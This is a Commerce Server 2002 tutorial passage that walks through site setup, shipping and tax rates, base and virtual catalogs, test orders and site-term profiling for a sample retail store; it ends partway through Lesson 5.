Your system administrator needs to perform a few preparatory tasks before you begin the tutorial. After these tasks are completed, you can proceed to the Business-to-Consumer Tutorial, Lab 1.

Note

  • Prior to performing the steps listed below, you must install Commerce Server using the instructions in the Commerce Server 2002 Installation Guide, for a single computer installation. It is not recommended that you install the tutorial on a computer that is running Commerce Server in a production environment.

The system administrator must first perform the following tasks:

  • Unpack the Retail Site for the Tutorial
  • Copy Image Files to Your Site for the Tutorial
  • Access Data Sources Across Domains for the Tutorial


Unpack the Retail Site for the Tutorial

Your system administrator must use Commerce Server Site Packager to unpack the Retail site. This site is used throughout the Business-to-Consumer tutorial. The Commerce Server Retail site is available at http://go.microsoft.com/fwlink/?linkid=6491.

For instructions about unpacking a site, see the Commerce Server 2002 Installation Guide.


Copy Image Files to Your Site for the Tutorial

Before you perform the tutorial, your system administrator must copy the sample image files in the <drive:>\Program Files\Microsoft Commerce Server 2002\Documentation folder to the <drive:>\Inetpub\wwwroot\Retail\Images\Catalog folder. Copy all files with the .gif file extension.

This enables you to view advertisements after you have created them in the tutorial.

Note

  • In a real-life deployment, it is recommended that you secure all image files in your <drive:>\Inetpub\wwwroot\Retail\Images\Catalog folder by granting read-only access to these files. This is done to reduce the risk of users defacing your image files. You can use either IIS or NTFS permissions to secure these files, or a combination of both.


Access Data Sources Across Domains for the Tutorial

On your Business Desk client computer, perform the following step if there are data sources, such as a SQL Server, on a domain other than the domain you are logged on to. If you do not know this information, contact your system administrator.

To access data sources across domains

  1. On the computer or server hosting the Business Desk client, in Internet Explorer, click Tools, and then click Internet Options.
  2. In the Internet Options dialog box, on the Security tab, click Custom Level.
  3. In the Security Settings dialog box, do the following:
    Use this | To do this
    Miscellaneous>Access data sources across domains | Select Enable.
    Navigate sub-frames across different domains | Select Enable.
  4. Click OK.
  5. In the Confirmation dialog box, click Yes.
  6. In the Internet Options dialog box, click OK.
  7. Close the browser window.

Your computer can now access data sources across domains.


Lab 1: Building Your Catalog

Estimated Time to Complete: 60 minutes

Scenario: Because you ship to both the United States and Europe, you need to create shipping methods for two locales. You need to import your existing Adventure Works catalog as well as create a new camping maps catalog. Your company has a new books department that contains camping and survival books, maps, and other resource information on camping. Your customers also need to be able to perform searches within both catalogs.

In this lab, you will:

  • Add shipping methods and tax rates
  • Create your new books catalog and populate the catalog with products
  • Import your existing catalog (AdvWrksCatalog.xml)
  • Create a virtual catalog that contains both your new catalog and the Adventure Works catalog
  • Target products to users
  • Add site terms and new users

In subsequent labs, you will create ad campaigns to promote sales within your camping catalogs, and then run reports to verify an increase in sales and the effectiveness of your ad campaigns.

Each of the lessons listed below is a prerequisite for the subsequent lesson. It is important to complete each lesson in the order listed.

  • Lesson 1: Adding a Shipping Method and a Tax Rate
  • Lesson 2: Creating a Base Catalog
  • Lesson 3: Importing a Catalog
  • Lesson 4: Creating a Virtual Catalog
  • Lesson 5: Targeting Products to Users
  • Lesson 6: Adding a User with a New Profile


Lesson 1: Adding a Shipping Method and a Tax Rate

Before customers can order items from your online catalog, you must set up shipping methods and tax rates. Because you are going to sell camping products to customers in both Europe and the United States, you need to add shipping methods (rates) for carriers who provide service in both the U.S. and Europe. You use the Business Desk Orders modules to add and modify shipping methods, and set up tax rates for different countries/regions and jurisdictions.

In this lesson, you will perform the following steps:

  • Step 1: Adding a shipping method
  • Step 2: Adding a shipping method for a different locale
  • Step 3: Adding a tax rate
  • Step 4: Adding a tax rate for a different locale
  • Step 5: Publishing order codes


Step 1: Adding a shipping method

  1. Open Business Desk - Retail from either the Start menu or the Desktop.
  2. In Orders, click Shipping Methods.
  3. In the Shipping Methods screen, click New on the toolbar, and then select Charge by Subtotal from the drop-down list.
  4. In the Charge by SubTotal - New screen, in the Shipping Method Properties section, do the following:
    Use this | To do this
    Language | Select English - United States from the drop-down list.
    Name | Type Vigor Airlines.
    Description | Type We will ship it for you.
    Enabled | Verify that the Shipping method enabled check box is selected.
  5. In the Rates section, click New, and then do the following:
    Use this | To do this
    Price, up to | Type 10.
    Shipping Rate | Type 5.
  6. Click Accept.
  7. To add another shipping rate, click New, and then do the following:
    Use this | To do this
    Price, up to | Type 20.
    Shipping Rate | Type 10.
  8. Click Accept.
  9. To add the over 20 shipping rate, do the following:
    Use this | To do this
    Price, up to | Double-click over 20 to make the Shipping Rate box available.
    Shipping Rate | Type 15.
  10. Click Accept.

    The new shipping rates are defined by subtotal.

  11. Click Save and go back to save the new shipping rates and return to the Shipping Methods screen.

You have added a shipping method for products shipped to locations in the United States. Proceed to Step 2: Adding a shipping method for a different locale, where you will add a shipping method for products shipped to locations in France.


Step 2: Adding a shipping method for a different locale

  1. In Orders, click Shipping Methods.
  2. In the Shipping Methods screen, click New on the toolbar, and then select Charge by Subtotal from the drop-down list.
  3. In the Charge by SubTotal - New screen, in the Shipping Method Properties section, do the following:
    Use this | To do this
    Language | Select French - France from the drop-down list.
    Name | Type Air Voyages.
    Description | Type Nous livrons tout.
    Enabled | Verify that the Shipping method enabled check box is checked.
  4. In the Rates section, click New, and then do the following:
    Use this | To do this
    Price, up to | Type 10.
    Shipping Rate | Type 5.
  5. Click Accept.
  6. To add another shipping rate, click New, and then do the following:
    Use this | To do this
    Price, up to | Type 20.
    Shipping Rate | Type 10.
  7. Click Accept.
  8. To add the over 20 shipping rate, do the following:
    Use this | To do this
    Price, up to | Double-click over 20. to make the Shipping Rate box available.
    Shipping Rate | Type 15.
  9. Click Accept.

    The new French language shipping rates are defined by subtotal.

  10. Click Save and go back to save the new shipping rates and return to the Shipping Methods screen.
  11. To verify you have added a shipping method and rate for this language, select French - France from the drop-down list at top of the screen. Air Voyages appears in the list of shipping methods with the description Nois livrons tout.

    The shipping rates are saved and will be applied to purchases on the Retail site by subtotal.

You have added a shipping method for products shipped to locations in France. Proceed to Step 3: Adding a tax rate, where you will add a tax rate to be applied to purchases shipped to the United States.


Step 3: Adding a tax rate

  1. In Orders, click Tax Rates.
  2. In the Tax screen, click New, and then do the following:
    Use this | To do this
    Country/Region | Select United States of America from the drop-down list.
    State/Province | Select Washington from the drop-down list.
    Tax rate (%) | Type 10.
  3. Click Accept.
  4. To save the new tax rate and return to the Business Desk Welcome screen, click Save and go back on the toolbar.

The tax rate is saved and will be applied to purchases that are shipped to Washington state.

You have added a tax rate for products shipped to locations in the United States. Proceed to Step 4: Adding a tax rate for a different locale, where you will add a tax rate to be applied to purchases shipped to France.


Step 4: Adding a tax rate for a different locale

  1. In Orders, click Tax Rates.
  2. In the Tax screen, click New, and then do the following:
    Use this | To do this
    Country/Region | Select France from the drop-down list.
    State/Province | Select All States/Provinces from the drop-down list.
    Tax rate (%) | Type 5.
  3. Click Accept.
  4. To save the new tax rate and return to the Business Desk Welcome screen, click Save and go back on the toolbar.

The tax rate is saved and will be applied to purchases shipped to locations in France. Proceed to Step 5: Publishing order codes, to publish the shipping methods and tax rates to your Retail Web site.


Step 5: Publishing order codes

If your Retail site was accessed prior to you creating the shipping method and tax rate earlier in this lab, you will need to publish your shipping method and tax rate to the Retail site. For example, your system administrator may have accessed the Retail site when setting up this tutorial.

  1. In Orders, click Publish Order Codes.

    Note

    • If no items appear in the Production Items list on the Publish Order Codes screen, then you do not need to publish your order codes. If this is the case, then proceed to Lesson 2: Creating a Base Catalog; otherwise, proceed to the next step.
  2. In the Publish Order Codes screen, select all the production items you created (shipping methods and tax codes).
  3. Click Publish on the toolbar.

    Note

    • If the Business Desk:Error dialog box appears, click OK.

The shipping methods and tax rates are sent to your Web server and are available on your Retail site. After you complete Lab 1, you will open your Retail site and create an order to verify that the shipping methods and tax codes have been added to your site. Proceed to Lesson 2: Creating a Base Catalog.


Lesson 2: Creating a Base Catalog

Scenario: You are creating a new base catalog, which you will name Camping Maps. You must first create map property definitions and map products. For example, a map property might be "Map Title" and a map product might be "North Cascades Mountain Map."

After you add properties and products for your catalog, you create the new base catalog, Camping Maps.

In this lesson, you will perform the following steps:

  • Step 1: Creating property definitions
  • Step 2: Adding product definitions
  • Step 3: Creating a new base catalog


Step 1: Creating property definitions

  1. Open Business Desk - Retail from either the Start menu or the Desktop.
  2. In the Catalogs module, click Catalog Definition Designer.
  3. In the Catalog Definition Designer: Category Definitions screen, click View on the toolbar, and then select Property Definitions from the drop-down list.
  4. In the Catalog Definition Designer: Property Definitions screen, click New on the toolbar, and then select Text from the drop-down list.
  5. In the Property Definition: New (Text) screen, in the Properties section, do the following:
    Use this | To do this
    Name | Type MapTitle.
    Display on site | Select the Yes check box.
    Display in products list | Select Yes to display the property definition in the products list.

    Note

    • Property Definition: New (Text) screen are set to their default values.
  6. On the Property Definition: New (Text) screen, in the Display Names section, click New and then do the following:
    Use the | To do this
    Language | Select English - United States from the drop-down list.
    Display name | Type Map Title.
  7. Click Accept.
  8. To save the new property definition and create an additional one, click Save and create new on the toolbar.

    The "Saving, please wait" message appears, and then the New Property Definition dialog box appears.

  9. In the New Property Definition dialog box, select Text from the drop-down list, and then click Continue.
  10. In the Property Definition: New (Text) screen, in the Properties section, do the following:
    Use this | To do this
    Name | Type MapLocation.
    Display on site | Select the Yes check-box.
    Display in products list | Select Yes to display the property definition in the products list.

    Note

    • Property Definition: New (Text) screen are set to their default values.
  11. On the Property Definition: New (Text) screen, in the Display Names section, click New and then do the following:
    Use the | To do this
    Language | Select English - United States from the drop-down list.
    Display name | Type Map Location.
  12. Click Accept.
  13. To save the new property definition and create an additional one, click Save and create new on the toolbar.

    The "Saving, please wait" message appears, and then the New Property Definition dialog box appears.

  14. In the New Property Definition dialog box, select Text from the Type drop-down list, and then click Continue.
  15. In the Property Definition: New (Text) screen, in the Properties section, do the following:
    Use this | To do this
    Name | Type MapISBN.
    Display on site | Select the Yes check box.
    Specification searchable | Clear the Yes check box.
    Minimum length | Type 10.
    Maximum length | Type 20.
    Store data for analysis | Select Yes.
    Display in products list | Select Yes.

    Note

    • Property Definition: New (Text) screen are set to their default values.
  16. On the Property Definition: New (Text) screen, in the Display Names section, click New and then do the following:
    Use the | To do this
    Language | Select English - United States from the drop-down list.
    Display name | Type Map ISBN.
  17. Click Accept.
  18. To save the new property definition and return to the Catalog Definition Designer: Property Definitions screen, click Save and back on the toolbar.

The new property definitions are saved. Proceed to Step 2: Adding product definitions, where you will create a product definition to contain the property definitions you created in this step.


Step 2: Adding product definitions

  1. In the Catalog Definition Designer: Property Definitions screen, click View on the toolbar, and then select Product Definitions from the drop-down list.
  2. In the Catalog Definition Designer: Product Definitions screen, click New on the toolbar.
  3. In the Product Definition: New screen, in the Product Definition Properties section, in the Name box, type Hiking Map.
  4. In the Product Properties section, in the Available properties box, scroll down to view MapISBN, MapLocation, and MapTitle.
  5. Hold down the [CTRL] key, and click MapISBN, MapLocation, and MapTitle, and then release the [CTRL] key, and then click Add.

    The selected properties are moved to the Assigned properties box.

    Note

    • The other items listed in the Assigned properties box, which appear with a shaded background, are the default product properties.
  6. To save the new product definitions and return to the Catalog Definition Designer: Product Definitions screen, click Save and go back on the toolbar.

    The Hiking Map product definition appears in the Name box.

  7. Expand the Hiking Map product definition.

The MapISBN, MapLocation, MapTitle, and default product properties appear as properties in the HikingMap product definition. Proceed to Step 3: Creating a new base catalog.


Step 3: Creating a new base catalog

  1. In the Catalogs module, click Catalog Editor.
  2. In the Catalogs screen, click New on the toolbar, and then select New Base Catalog from the drop-down list.
  3. In the Catalog Properties - New Base Catalog screen, in the Catalog Properties section, do the following:
    Use this | To do this
    Name | Type Camping Maps.
    Currency | Select US Dollar – USD from the drop-down list.
    Product unique ID | Select MapISBN from the drop-down list.
    Product variant unique ID | Select MapISBN from the drop-down list.
  4. To save the catalog properties, click Save and go back on the toolbar.

The catalog properties are saved with the new base catalog. Proceed to Lesson 3: Importing a Catalog, where you will import your Adventure Works catalog into Business Desk.


Lesson 3: Importing a Catalog

Scenario: You need to import your main base catalog (Adventure Works) into Business Desk so you can publish the catalog to your Web site and test the site as an online shopper. In Business Desk, you use the Catalog Editor module to work with categories and catalogs. You can create new categories, modify and delete categories, and delete catalogs.

You can import a catalog from either an Extensible Markup Language (XML) file or a comma-separated value (.csv) file.

In this lesson, you will import the AdvWorksCatalog.xml catalog file. Then you will test your Web site—you will visit your Web site and perform a free-text search to find shoes and related products. After you find a product that matches your search criteria, you will add it to your shopping basket and check out.

In this lesson, you will perform the following steps:

  • Step 1: Importing the Adventure Works catalog
  • Step 2: Refreshing and publishing your catalog
  • Step 3: Finding shoes using free-text search
  • Step 4: Ordering shoes on the site


Step 1: Importing the Adventure Works catalog

  1. Open Business Desk - Retail from either the Start menu or the Desktop.
  2. In the Catalogs module, click Catalog Editor.
  3. In the Catalogs screen, click Import on the toolbar, and then select Import XML from the drop-down list.

    Note

    • If you are accessing Business Desk from a computer other than the server, perform step 4. If you are accessing the Business Desk from the server, skip to step 5.
  4. In the Import XML Catalog dialog box, do the following:
    Use this | To do this
    File name | Select Specify a locally accessible XML file.
    Specify an XML file on the server Type \\<computername>\<drive>$\Program Files\Microsoft Commerce Server 2002\SDK\Samples\Auction\AdvWorksCatalog.xml, where <computername> is the name of your Commerce Server and <drive> is the drive where Windows 2000 is installed.

    Note

    • Using this UNC path requires that you are an administrator on the computer running Commerce Server.
    Delete existing data in this catalog | Verify that this check box is not selected.
    Validate XML file (do not import) | Verify that this check box is not selected.

    Because you are accessing Business Desk from a computer other than the server, you will not perform step 5. Skip to step 6.

  5. In the Import XML Catalog dialog box, do the following:
    Use this | To do this
    File name | Select Specify a locally accessible XML file.
    Specify a locally accessible XML file | Type <drive>:\Program Files\Microsoft Commerce Server 2002\SDK\Samples\Auction\AdvWorksCatalog.xml.
    Delete existing data in this catalog | Verify that this check box is not selected.
    Validate XML file (do not import) | Verify that this check box is not selected.
  6. In the Import XML Catalog screen, click OK.
  7. In the Business Desk: Import XML Catalog dialog box, click OK.

    Commerce Server commences to import the Adventure Works Catalog catalog. The import status is reported in the status bar at the bottom of the Catalogs screen. Once the import has completed, a “Catalog import complete” message appears indicating that the Adventure Works Catalog catalog has been imported into the Retail site.

    Note

    • The Adventure Works Catalog does not appear in the Name box in the Catalog Editor until the Catalogs screen is updated.
  8. To update the Catalogs screen, in the Catalogs module, click Catalog Editor.

The Catalogs screen is updated, and the Adventure Works Catalog catalog appears in the Filtered View list. You have imported the Adventure Works Catalog catalog into Business Desk. Proceed to Step 2: Refreshing and publishing your catalog.


Step 2: Refreshing and publishing your catalog

  1. In Catalogs, click Catalog Editor.

    A "Catalog import in progress…" message may appear on the screen while the update is performed.

  2. After the "Catalog import in progress" message disappears, click Refresh on the toolbar.

    The message "Refreshing Catalogs" appears. You should wait for several seconds before proceeding to the next step to allow time for the catalog to refresh and be published to your site.

  3. To refresh the screen, in the Catalogs module, click Catalog Editor.

    The screen is refreshed and your catalog is now refreshed and published on your Web site.

    Note

    • If you attempt to access your Web site before Commerce Server finishes publishing the catalog to your site, the message "server is restarting" appears, and you will not be able to access the site.

Proceed to Step 3: Finding shoes using free-text search.


Step 3: Finding shoes using free-text search

This step requires accessing the Retail site using a Web browser such as Microsoft Internet Explorer. Commerce Server supports Internet Explorer 5.5 with Service Pack 2, or higher.

  1. Open your Retail site using your browser. To open your Retail site, in Internet Explorer type http://<servername>/retail on the Address line, where <servername> is the name of the server hosting your Retail site. Contact your system administrator if you do not know the name of the server.
  2. In the Product Search text box, type rockshoes, and then click Search.

    The Search Results screen appears with the category: Rockshoes.

  3. Click Rockshoes.

    The Rockshoes category appears with a list of products, including several outdoor shoe models:

    • Morro
    • Plymouth
    • Tuscany

You have found shoes using free-text search. Proceed to Step 4: Ordering shoes on the site.


Step 4: Ordering shoes on the site

  1. In the Rockshoes screen, click Tuscany, click Add to Basket, and then click Basket in the screen header section.

    The Basket screen appears.

  2. In the Basket screen, click Check-out.

    The Ship-to address screen appears.

  3. In the Ship-to address screen, do the following:
    Use this | To do this
    Last Name | Type Jones.
    First Name | Type Amy.
    Address Line 1 | Type One Microsoft Way.
    City | Type Redmond.
    State/Province | Type Washington.
    Zip/Postal Code | Type 98052.
    Country/Region | Select United States of America from the drop-down list.
    My billing address is the same | Make sure this check box is selected.
  4. Click Submit.

    The Shipping options screen appears.

  5. In the Shipping options screen, select Vigor Airlines, and then click Check-out.

    The Order summary screen appears. On this screen, verify that the shipping cost is 15 dollars, and that the tax charged is 10 percent of the product subtotal.

  6. In the Order summary screen, click Check-out.

    The Credit card screen appears.

  7. In the Credit card screen, do the following:
    Use this | To do this
    Name on card | Type Amy Jones.
    Card number | Type 4111-1111-1111-1111
    Type | Select VISA from the drop-down list.
    Expiration month | Select October from the drop-down list.
    Expiration year | Select 2005 from the drop-down list.
  8. Click Submit.

    The Order confirmation screen appears with the order number.

  9. Close the browser window.

You have ordered shoes from your Retail site. Proceed to Lesson 4: Creating a Virtual Catalog, where you will create a virtual catalog to contain your Camping Maps and Adventure Works base catalogs.


Lesson 4: Creating a Virtual Catalog

Scenario: You want your customers to be able to conveniently view and purchase products from both the Camping Maps and Adventure Works catalogs. To do this, you create a virtual catalog that contains both catalogs. By creating a virtual catalog, you will be able to keep the original catalogs as subsets so that you can offer special discounts for each catalog separately. In this tutorial, when you add a product to the Camping Maps base catalog, the product will also appear in the associated virtual catalog because of the type of inclusion rule you apply.

In this lesson you will create a virtual catalog and add your two base catalogs to the virtual catalog. You will also set currency and pricing rules.

In this lesson, you will perform the following steps:

  • Step 1: Creating a new virtual catalog
  • Step 2: Including base catalogs in your virtual catalog
  • Step 3: Rebuilding your Maps & Camping virtual catalog
  • Step 4: Adding price rules to your Maps & Camping catalog
  • Step 5: Adding a new category to your Camping Maps catalog
  • Step 6: Adding new products to the Camping Maps catalog
  • Step 7: Adding another product to the Camping Maps catalog
  • Step 8: Verifying your changes on the Retail site


Step 1: Creating a new virtual catalog

  1. Open Business Desk - Retail from either the Start menu or the Desktop.
  2. In Catalogs, click Catalog Editor.
  3. In the Catalogs screen, click New on the toolbar, and then select New Virtual Catalog from the drop-down list.
  4. In the Catalog Properties - New Virtual Catalog screen, in the Catalog Properties section, do the following:
    Use this | To do this
    Name | Type Maps & Camping.
    Start date | Select the current date from the drop-down calendar.
    Currency | Select US Dollar - USD from the drop-down list.
  5. To save the catalog properties and return to the Catalogs screen, click Save and go back on the toolbar.

The catalog properties are saved with the new virtual catalog. Proceed to Step 2: Including base catalogs in your virtual catalog, where you will create an inclusion rule to add your base catalogs to your virtual catalog.


Step 2: Including base catalogs in your virtual catalog

  1. In Catalogs, click Catalog Editor.
  2. In the Catalogs screen, select the Maps & Camping catalog, and then click Open on the toolbar.
  3. In the Catalog Content - Maps & Camping (English - United States) screen, in the Include/exclude section, click New.
  4. In the Catalog box, click Ellipsis to open the Catalog Picker dialog box.

    The Catalog Picker dialog box appears.

  5. In the Catalog Picker dialog box, click Camping Maps, and then click Select.
  6. In the Catalog Content - Maps & Camping (English - United States) screen, in the Include/exclude section, select Include Catalog from the Rule drop-down list.
  7. To save the inclusion rule, click Done.
  8. Repeat steps 3 through 7 above and include the Adventure Works Catalog.

    The Camping Maps and Adventure Works Catalog catalogs both appear in the Catalog column in the Include/exclude section.

  9. To save the changes to the virtual catalog and return to the Catalogs screen, click Save and go back on the toolbar.

You have created an inclusion rule to include your Adventure Works Catalog and Camping Maps base catalogs to your Maps & Camping virtual catalog. Before your virtual catalog can be used on your Retail site, you must rebuild your virtual catalog. Proceed to Step 3: Rebuilding your Maps & Camping virtual catalog.


Step 3: Rebuilding your Maps & Camping virtual catalog

  1. In the Catalogs screen, select the Maps & Camping catalog and then click Rebuild virtual catalogs on the toolbar.

    The message, "Catalog Rebuild process has been started successfully…" appears in the Business Desk: Rebuild Catalog message box.

  2. In the Business Desk: Rebuild Catalog box, click OK, and then click Catalog Editor to refresh the list of catalogs.
  3. The Maps & Camping catalog appears in the list with "Up-to-date" in the Status column. If "Rebuilding" appears in the Status column, wait for a few seconds and then click Catalog Editor again.

The Camping Maps and Adventure Works catalogs are now both included in the Maps & Camping virtual catalog, which is now available on your Retail site. Proceed to Step 4: Adding price rules to your Maps & Camping catalog.


Step 4: Adding price rules to your Maps & Camping catalog

  1. In Catalogs, click Catalog Editor.
  2. In the Catalogs screen, select the Maps & Camping catalog, and then click Open on the toolbar.
  3. In the Catalog Content - Maps & Camping (English - United States) screen, in the Price rules section, click New.
  4. In the Item box, click Ellipsis to open the Product Picker dialog box.

    The Product Picker dialog box appears.

  5. In the Product Picker dialog box, select Tents(Adventure Works Catalog) in the Categories list and then click OK.
  6. In the Price rules section, in the Type box, select Discount percentage from the drop-down list.
  7. In the Amount box, type 10, and then click Done.
  8. To save your changes to the virtual catalog and return to the Catalogs screen, click Save and go back on the toolbar.

You must rebuild the Maps & Camping catalog again. For instructions, see Step 3: Rebuilding your Maps & Camping virtual catalog. After rebuilding your Maps & Camping catalog, proceed to Step 5: Adding a new category to your Camping Maps catalog.


Step 5: Adding a new category to your Camping Maps catalog

  1. In Catalogs, click Catalog Editor.
  2. In the Catalogs screen, select the Camping Maps catalog, and then click Open on the toolbar.
  3. In the Catalog Content – Camping Maps (English - United States) screen, in the Categories section, click New.

    The New Category dialog box appears.

  4. In the New Category dialog box, select Department, and then click Continue.

    The Catalog Editor - Camping Maps (English - United States) - new (Department) screen appears.

  5. In the Catalog Editor - Camping Maps (English - United States) - new (Department) screen, in the Category Properties section, do the following:
    Use this | To do this
    Name | Type MapBooks.
    Display name | Type Maps and Books.
    Description | Type Hiking Maps and Books.
  6. To save the new category and return to the Catalog Content – Camping Maps (English - United States) screen, click Save Back on the toolbar.

    The MapBooks category is added to the Camping Maps catalog.

  7. To return to the Catalogs screen, click Back on the toolbar.

You can now add new products to the MapBooks category, which you created for the Camping Maps catalog. Proceed to Step 6: Adding new products to the Camping Maps catalog to add a new product to this category.


Step 6: Adding new products to the Camping Maps catalog

  1. In the Catalogs screen, select the Camping Maps catalog, and then click Open on the toolbar.
  2. In the Catalog Content – Camping Maps (English - United States) screen, in the Products section, click New.

    The New Product dialog box appears.

  3. In the New Product dialog box, select Hiking Map, and then click OK.
  4. In the Catalog Editor – Camping Maps (English - United States) - new (HikingMap) screen, in the Product Properties section, do the following:
    Use this | To do this
    MapISBN | Type 1-2345-6789-0.
    Description | Type A book about hiking in the Himalayas.
    Name | Type Hiking in the Himalayas.
    MapLocation | Type Nepal, South Asia.
    MapTitle | Type Hiking in the Himalayas.
    Price | Type 19.99.

    Note

    If the Adventure Works catalog was imported before you began the tutorial, the ProductCode box appears in this step. If this occurs, enter the same value for ProductCode as you entered for MapISBN.

  5. In the Assigned Categories section, do the following:
    Use this | To do this
    Available categories | Select MapBooks, and then click Add.
    Assigned categories | Select MapBooks.
    Primary parent category Click Set.

    The MapBooks category appears in the Primary parent category text box.
  6. In the Product Relationships section, click New, and then do the following:
    Use this | To do this
    Relationship | Type Other Mountain Maps.
    Item | Click ellipsis to display the Product Picker dialog box.

    The Product Picker dialog box appears.

  7. In the Product Picker dialog box, in the Categories list, select MapBooks, and then click OK.
  8. In the Product Relationships section, click Accept.
  9. To save the product and return to the Catalog Content – Camping Maps (English - United States) screen, click Save and go back on the toolbar.

    The new map is assigned to the MapBooks category.

  10. In the Catalog Content – Camping Maps (English - United States) screen, in the Products section, click Find Now.

    The product that you just added to your catalog appears in the Products list.

  11. To return to the Catalogs screen, click Back on the toolbar.

The new product, the map Hiking in the Himalayas, is saved in the catalog. However, this product does not appear on your site until you rebuild your virtual catalog and publish your site, which you will do in Step 7: Adding another product to the Camping Maps catalog.

Note

  • Rebuilding and publishing a virtual catalog to a site also rebuilds and publishes all base catalogs that it contains.

Proceed to Step 7: Adding another product to the Camping Maps catalog.


Step 7: Adding another product to the Camping Maps catalog

  1. In the Catalogs screen, select the Camping Maps base catalog, and then click Open on the toolbar.

    The Catalog Content – Camping Maps (English - United States) screen appears.

  2. In the Catalog Content – Camping Maps (English - United States) screen, in the Products section, click New.

    The New Product dialog box appears.

  3. In the New Product dialog box, select Hiking Map, and then click OK.

    The Catalog Editor – Camping Maps (English - United States) – new (HikingMap) screen appears.

  4. In the Catalog Editor – Camping Maps (English - United States) – new (HikingMap) screen, in the Product Properties section, do the following:
    Use this | To do this
    Map ISBN | Type 2-3452-8892-9.
    Description | Type A book about hiking in Denali.
    Name | Type Hiking in Denali.
    MapLocation | Type Denali, Alaska.
    Map Title | Type Hiking in Denali.
    Price | Type 23.99.

    Note

    If the Adventure Works catalog was imported before you began the tutorial, the ProductCode box appears in this step. If this occurs, enter the same value for ProductCode as you entered for MapISBN.

  5. In the Assigned Categories section, do the following:
    Use this | To do this
    Available categories | Select MapBooks, and then click Add.
    Assigned categories | Select MapBooks.
    Primary parent category Click Set.

    The MapBooks category appears in the Primary parent category text box.
  6. In the Product Relationships section, click New, and then do the following:
    Use this | To do this
    Relationship | Type Other Mountain Maps.
    Item | Click ellipsis to display the Product Picker dialog box.

    The Product Picker dialog box appears.

  7. In the Product Picker dialog box, do the following:
    Use this | To do this
    Categories | Select MapBooks.
    Product in Category: MapBooks | Select MapISBN number 1-2345-6789-0 (Hiking in the Himalayas).
  8. Click OK.
  9. In the Product Relationships section, click Accept.

    A relationship to the map Hiking in the Himalayas is established.

  10. To save the new product in the catalog and return to the Catalog Content – Camping Maps (English - United States) screen, click Save and go back on the toolbar.
  11. In the Catalog Content – Camping Maps (English - United States) screen, in the Products section, click Find Now.

    In the Products list in the Catalog Content – Camping Maps (English - United States) screen, both the Hiking in the Himalayas and the Hiking in Denali maps appear in the list.

  12. To return to the Catalogs screen, click Back on the toolbar.

Rebuilding and publishing your catalogs

When you make changes to a virtual catalog, such as including a base catalog, categories, or products, you must rebuild the virtual catalog. Because you have added products to the Camping Maps base catalog, you will now rebuild your virtual catalog.

  1. In the Catalogs screen, select the Maps & Camping catalog and then click Rebuild virtual catalogs on the toolbar.

    The message, "Catalog Rebuild process has been started successfully…" appears in the Business Desk: Rebuild Catalog message box.

  2. In the Business Desk: Rebuild Catalog box, click OK, and then click Catalog Editor to refresh the list of catalogs.
  3. The Maps & Camping catalog appears in the list with "Up-to-date" in the Status column. If "Rebuilding" appears in the Status column, wait for a few seconds and then click Catalog Editor again.
  4. To refresh the Catalogs screen and to publish the new product on your site, click Publish on the toolbar.

The new product, the map Hiking in Denali, is saved in the Camping Maps catalog, and the updated catalog is published on your Web site. Proceed to Step 8: Verifying your changes on the Retail site, where you will order the map Hiking in the Himalayas.


Step 8: Verifying your changes on the Retail site

This step requires accessing the Retail site using a Web browser such as Microsoft Internet Explorer. Commerce Server supports Internet Explorer 5.5 with Service Pack 2, or higher. You can perform this step from either your server or a remote location.

  1. Open your Retail site using your browser. To open the Retail site, in Internet Explorer, type http://<servername>/retail on the Address line, where <servername> is the name of the server hosting the Retail site. Contact your system administrator if you do not know the name of the server.
  2. In the Retail site, click New user in the left pane under Login, and then do the following:
    Use this | To do this
    User name | Type JoeUser.
    Password | Type open_sesame2.
    Confirm Password | Type open_sesame2.
  3. Click Submit.
  4. The Catalogs screen appears.
  5. In the Catalogs screen, click Camping Maps.
  6. In the Camping Maps screen, click MapBooks.

    The MapBooks screen appears.

  7. In the MapBooks screen, click Hiking in Denali.

    You have just verified that the Hiking in Denali product you created in Lab 1, Lesson 4, was published to your site. For the purpose of this scenario, you will not complete this purchase.

  8. Close the browser.

Proceed to Lesson 5: Targeting Products to Users.


Lesson 5: Targeting Products to Users

Scenario: You want to target special camping discounts and ads to specific users. For example, when you know a user is a woman, you can target an ad for women’s outdoor clothing by using site terms.

In this lesson, you will add the site terms male and female. After you have created the site terms, you will set up a user profile to include the site terms so you can later target a camping product advertisement to those site users that match the user profile.

In this lesson, you will perform the following steps:

  • Step 1: Creating a site term
  • Step 2: Adding a site term to a user profile
  • Step 3: Publishing the profile changes on your Web site


Step 1: Creating a site term

A site term is organized within a container called an attribute, which is contained by a container called a group. In this step you will create a group named PersonalInfo. You will then create an attribute within the PersonalInfo group named Gender. Finally, you will create the Male and Female terms that you will later use to profile your users.

  1. Open Business Desk - Retail from either the Start menu or the Desktop.
  2. In Profiles, click Site Terms Editor.

    The Site Terms Editor screen appears.

  3. In the Site Terms Editor screen, click Add.

    The Add dialog box appears.

  4. In the Add dialog box, select Add a new group, and then click OK.
  5. In the Attributes section, do the following:
    Use this | To do this
    Name | Type PersonalInfo.
    Display name | Type Personal Info.
  6. Click Apply.
  7. In the Site term structure list, select Personal Info, and then click Add.

    The Add dialog box appears.

  8. In the Add dialog box, select Add a new site-term, and then click OK.
  9. On the Site Terms Editor screen, in the Site Term Attributes section, do the following:
    Use this | To do this
    Name | Type Gender.
    Display name | Type Gender.
  10. In the Terms section, click New, and then do the following:
    Use this | To do this
    Term name | Type Male.
    Display name | Type Male.
  11. Click Accept.
  12. In the Terms section, click New, and then do the following:
    Use this | To do this
    Term name | Type Female.
    Display name | Type Female.
  13. Click Accept, and then click Apply.
  14. To save the site terms and return to the Commerce Server: Welcome to Business Desk screen, click Save and go back on the toolbar.

The site terms Male and Female are saved and can now be added to a user profile. Proceed to Step 2: Adding a site term to a user profile.


Step 2: Adding a site term to a user profile

  1. In Profiles, click Profile Definition Designer.

    The Profiles screen appears.

  2. In the Profiles screen, in the Name list box, select User Object, and then click Open on the toolbar.

    The Profile: User Object screen appears.

  3. In the Profile: User Object screen, in the Properties section, click General Information, and then click Add.

    The Add dialog box appears.

  4. In the Add dialog box, select Add a new property, and then click OK.
  5. On the Profile: User Object screen, in the Attributes section, do the following:
    Use this | To do this
    Name | Type Gender.
    Display name | Type Gender.
    Type | Select Site Term from the drop-down list.
    Type reference Click ellipsis to open the Site Term Selection dialog box.

    In the Site Term Selection dialog box, select Personal Info, and then select Gender.
  6. In the Site Term Selection dialog box, click OK.
  7. In the Profile: User Object screen, in the Advanced Attributes section, do the following:
    Use this | To do this
    Active | Verify that Yes is selected.
